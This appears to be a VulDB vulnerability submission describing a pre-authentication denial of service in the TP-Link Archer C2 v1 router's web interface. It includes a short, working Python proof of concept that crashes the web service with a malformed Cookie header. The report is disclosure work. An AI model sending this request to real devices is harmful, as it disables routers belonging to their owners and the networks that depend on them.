जमा करें #106287: Web crash found on TP-LINK（c2v1) router

# Web crash found on TP-LINK（c2v1) router

## Overview of the Vulnerability

This vulnerability exists in the router version of TPLINK Archer C2v1(Firmware version:Archer C2(US)_V1_170228，downloadlink:https://www.tp-link.com/us/support/download/archer-c2/v1/#Firmware). The corresponding vulnerability happen at parsing cookie field of http request packet. The router goes crash after parsing a malformed cookie. Obviously the vulnerability happens before authentication, so it's easy to attack the router without knowing password of the web service. Only just one malformed request can disable the router function well and have potential to control over the router.

## Business Impact

The exploitation of the vulnerability is uncomplicated and could lead to indirect monetary damages for the organization. Such malicious actions may also harm the company's reputation by impacting the confidence of its clientele.

## Steps to Reproduce

I have attached the reproduced Poc code below. You only need to modify the web IP address of the target device to exploit the vulnerability and crash the program.

## Proof of Concept (POC)

After executing the POC script, then trying to visit the router web management interface(or 'telnet device_web_ip 80'), you will find web service goes down.

```python
import requests
import time

dst_ip = '192.168.0.1'
request_headers = {
'Host': dst_ip,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Cookie': 'Authorization',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
request_params = {
'url': f'http://{dst_ip}/',
'method': 'GET',
'version': 'HTTP/1.1'
}

try:
response = requests.request(method=request_params['method'], url=request_params['url'],
headers=request_headers, verify=False, timeout=0.1)
except requests.exceptions.RequestException:
pass
```

• उपयोगकर्ता: a2ure (UID 41072)
• सबमिशन: 27/03/2023 09:48 AM (4 साल पहले)
• संयम: 27/03/2023 10:52 PM (13 hours later)
• स्थिति: प्रतिलिपि
• VulDB प्रविष्टि: 221552 [TP-Link Archer C50 V2_160801 Web Management Interface सेवा अस्वीकार]
• अंक: 0